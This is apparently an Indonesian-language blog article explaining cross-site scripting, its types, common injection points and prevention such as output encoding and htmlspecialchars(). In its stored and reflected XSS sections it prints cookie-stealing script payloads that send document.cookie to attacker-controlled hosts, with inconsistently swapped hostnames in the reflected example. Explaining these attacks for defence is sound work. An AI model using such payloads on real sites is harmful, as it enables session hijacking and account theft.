Kategori
Security

Cross Site Scripting ( XSS )

Cross site scripting atau serangan XSS merupakan salah satu jenis serangan cyber berbahaya dan pernah menyerang beberapa platform populer seperti Facebook, Google, dan Paypal. Serangan ini mengeksploitasi kerentanan XSS untuk mencuri data, mengendalikan sesi pengguna, menjalankan kode jahat, atau digunakan sebagai bagian dari serangan phishing.

Meskipun cross site scripting  termasuk jenis serangan cyber berbahaya, namun sebagian besar korban tidak menyadari bahwa mereka sedang diserang. Cross site scripting ini juga masuk ke dalam daftar top 10 kerentanan OWASP ( Open Web Application Security Project).

Cross-site Scripting | What is XSS Attack? | Netsparker

Definisi

XSS (Cross Site Scripting) merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs, serangan ini akan seolah-olah datang dari situs tersebut.

Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya. Alasan kependekan yang digunakan XSS bukan CSS karena CSS sudah digunakan untuk cascade style sheet.

Cara Kerja XSS

Cross-Site Scripting — Web-based Application Security, Part 3 | Spanning

Setelah memahami apa yang dimaksud XSS maka selanjutnya adalah mengerti cara kerja XSS. Tujuan penulis memberi ulasan ini bukanlah untuk memberi pengetahuan cara menyelipkan justru untuk mengantisipasi ketika dalam dunia kerja atau sebagai developer anda menemui hal serupa.

Dalam hal ini penulis menganggap bahwa pihak penyerang yang menggunakan XSS ini adalah seorang hacker karena memang kemampuan dalam membobol keamanan web ataupun aplikasi.

Gambaran umum mengenai cara kerja XSS sebenarnya cukup simpel, oleh karena itu banyak developer yang juga menyepelekannya. Namun ketika sudah dipublish dan kecolongan maka dampak yang ditimbulkan sangatlah besar, tidak hanya user bahkan ke server juga. Pihak hacker atau penyerang terlebih dahulu berusaha mencari celah keamanan suatu website.

Contoh simpelnya adalah dalam file index atau home mereka menyelipkan “YOUR WEBSITE GOT HACKED” dengan menggunakan heading 1. Biasanya para attacker memerluka wadah berupa halaman dinamis atau berindeks PHP dan selanjutnya dimasukkan ke dalam HTML atau Javascript.

Contoh diatas adalah bagian simpelnya, yang paling berbahaya adalah ketika attacker mengambil wadah untuk XSS pada bagian file input seperti form pendaftaran. Pada script PHP biasanya menggunakan baris code $_GET untuk mengirimkan data yang sudah diisi oleh pengguna ke database server web tersebut. Namun ketika XSS disusupkan maka data yang dikirimkan bisa saja diredirect ke server miliknya terlebih dahulu baru masuk ke server yang seharusnya. Hal ini dapat dilakukan dengan merubah script pada tombol submit atau di code $_GET, lalu mengirimkan data ke server milik attacker dan kemudian dicatat dalam databasenya.

Tujuannya bisa saja untuk meningkatkan traffic atau backlink ke web yang dimiliki dengan memanfaatkan web yang sudah dibobol. Jika data – data penting yang dimasukkan tentunya dampaknya akan lebih besar lagi.

Jenis Jenis XSS

  1. Stored XSS / Persistent Xss

Stored XSS adalah serangan xss yang bersifat permanen dan dapat berakibat pada seluruh pengguna. Stored XSS biasanya terjadi saat pengguna diizinkan untuk memasukkan data yang akan ditampilkan kembali. Contohnya adalah pada Message Board, buku tamu, dll. Penyerang memasukkan kode HTML atau Script Code (Payloads) lainnya pada postingan mereka.

Contoh XSS Stored

Bug XSS Stored dapat terjadi jika nama pengguna papan pesan online tidak dibersihkan dengan benar saat dicetak pada halaman. Dalam kasus seperti itu seorang penyerang dapat memasukkan kode berbahaya ketika mendaftarkan pengguna baru di formulir. Ketika nama pengguna dicerminkan pada halaman papan pesan, itu akan terlihat seperti ini:

Username: user123<script>document.location=’https://IndoSecHax.com/?cookie=’+encodeURIComponent(document.cookie)</script>

JavaScript berbahaya di atas dipicu setiap kali pengguna mengunjungi bagian forum ini, dan mengirimkan cookie pengguna papan pesan yang disimpan di browser pengguna ke penyerang, yang kemudian menggunakannya untuk membajak sesi pengguna. XSS yang disimpan dapat menjadi kerentanan yang sangat berbahaya karena dapat memiliki efek worm, terutama ketika dieksploitasi di halaman populer. Misalnya bayangkan papan pesan atau situs web media sosial yang memiliki halaman menghadap publik yang rentan terhadap Bug XSS yang disimpan, seperti halaman profil pengguna. Jika penyerang dapat menempatkan muatan JavaScript berbahaya yang menambahkan dirinya ke halaman profil, vektor serangan dijalankan setiap kali pengunjung membuka halaman dan muatan menyebar dengan pertumbuhan eksponensial.


2.Reflected XSS / Non Persistent XSS
Reflected XSS adalah jenis XSS yang tidak permanen, XSS tipe ini akan hilang apa bila dilakukan refresh atau semacamnya. Xss jenis ini paling sering dan mudah ditemukan oleh penyerang. Penyerang menggunakan tekhnik Social Engineering agar konten yang sudah di infeksi dengan kode berbahaya ini diklik oleh pengguna lain, kemudian penyerang bisa mendapatkan data-data penting dan sensitif dari pengguna lain, yang selanjutnya dapat digunakan untuk kejahatan lainya. biasannya xss tipe ini dibuat dengan merekayasa url.

Contoh Bug XSS Reflected

Sebagai contoh serangan XSS, kami akan menggunakan fungsionalitas pencarian di situs web berita, yang berfungsi dengan menambahkan input pengguna, yang diambil dari permintaan GET HTTP, ke parameter q, seperti contoh di bawah ini:https://IndoSecHax.com/news?q=data+breachDalam hasil pencarian, situs web mencerminkan konten kueri yang dicari pengguna, seperti:You searched for “data breach”:Jika fungsi Pencarian rentan terhadap kerentanan skrip lintas situs yang tercermin, penyerang dapat mengirimkan korban URL jahat seperti di bawah ini:

https://detik.com/news?q=<script>document.location=’https://attacker.com/log.php?c=’ + encodeURIComponent(document.cookie)</script>

Setelah korban mengklik URL jahat, serangan XSS dieksekusi dan situs web menampilkan yang berikut:

You searched for “<script>document.location=’https://detik.com/log.php?c=’ + document.cookie</script>”:

Kode sumber HTML, yang mencerminkan kode jahat penyerang mengarahkan ulang browser korban ke situs web yang dikendalikan oleh penyerang, yang kemudian mencuri cookie sesi / token sesi pengguna saat ini dari browser korban untuk situs tersebut example.com sebagai parameter GET.


3.Blind Xss
Blind Xss adalah kerentanan xss yang penyerang sendiri tidak mengetahui kemana dan oleh siapa payload xss tersebut diterima. Hal ini terjadi karena payload yang digunakan dikirim ke sistem dan hanya dapat dibaca oleh beberapa orang dengan hak khusus. biasanya xss tipe ini ditemui pada form masukan yang hanya dapat dibaca oleh admin


4. Self Xss
Self Xss hampir sama dengan Reflected Xss namun bedanya xss jenis ini memerlukan proses yang urut dan hanya berdampak pada diri sendiri. Xss tipe ini biasanya dipadukan dengan clickjacking pada penggunaannya. Biasanya xss jenis ini diremukan pada form upload.

Pengertian XSS dan Cara Mencegahnya

Aspek target XSS

Target XSS bisa dimana saja, di tempat yang tidak diduga sekalipun, inilah daftar aspek target yang banyak digunakan untuk eksploitasi XSS :

1. URL
2. HTTP referrer objects
3. Parameter GET
4. Parameter POST
5. Window.location
6. Document.referrer
7. document.location
8. document.URL
9. document.URLUnencoded
10. cookie data
11. headers data
12. database data

Cara Mencegah XSS

Ada bermacam – macam bentuk XSS sesuai dengan dampak dan cara kerja yang dilakukan sehingga untuk pencegahannya cukup beragam juga. Mulai dari penggunaan “global_xss_filtering” pada framework CI yang lama namun saat ini sudah tidak ada lagi. Mungkin pihak developer Codeigniter sudah mengetahui bahwa permasalahan XSS adalah di output bukan pada inputannya.

Untuk mencegah Bug XSS, sangat penting untuk menerapkan pengkodean keluaran tergantung konteks. Dalam beberapa kasus mungkin cukup untuk menyandikan karakter khusus HTML, seperti tag pembuka dan penutup. Dalam kasus lain, pengkodean URL yang diterapkan dengan benar diperlukan. Link umumnya harus dianulir jika tidak dimulai dengan protokol yang masuk daftar putih seperti http: // atau https: //, sehingga mencegah penggunaan skema URI seperti javascript: //.Meskipun sebagian besar browser web modern memiliki filter XSS inbuilt, mereka tidak boleh dilihat sebagai alternatif sanitasi. Mereka tidak dapat menangkap semua jenis serangan Cross Site Scripting dan tidak ketat sehingga tidak mengarah ke halaman palsu, yang akan mencegah beberapa halaman memuat dengan benar. Filter XSS peramban web seharusnya hanya menjadi “garis pertahanan kedua” dan idenya adalah untuk meminimalkan dampak vulnerability yang ada.Pengembang tidak boleh menggunakan back list karena ada berbagai bypass untuk mereka. Hal lain yang harus mereka hindari menggunakan adalah pengupasan fungsi dan karakter berbahaya karena filter XSS browser tidak dapat mengenali muatan berbahaya ketika output diubah dengan memungkinkan untuk memotong kemungkinan. Yang sedang berkata, satu-satunya pencegahan XSS yang direkomendasikan adalah pengkodean seperti yang disebutkan di atas.

Salah satu cara lain untuk mencegah serangan XSS juga sudah ada dalam fungsi PHP, yakni menggunakan htmlspecialchars(), namun untuk melakukan escaping juga tidaklah cukup. Bisa juga dilakukan dengan cara memblok semua input yang berupa script tag atau image source. Lakukan pengamanan juga terhadap Cpanel anda karena hal ini menjadi kunci utama masuknya XSS.

Bisa juga dengan menggunakan suatu aplikasi pengamanan web, salah satu yang penulis rekomendasikan adalah aplikasi Acunetix. Penggunaan Acunetix ini diibaratkan seperti White Hacker yang mampu melindungi keamanan web dengan cukup signifikan.

Perlu waktu yang cukup lama memang untuk melakukan scan terhadap keamanan website jika menggunakan Acunetix namun hasil yang diberikan juga cukup besar. Tidak hanya XSS saja, Acunetix dapat mendeteksi adanya SQL Injection, PHP Injection, Cross Frame Sripting (XFS), URL Redirection, pengecekan terhadap file dalam server dan masih banyak lagi.

Ref : [1][2][3][4][5]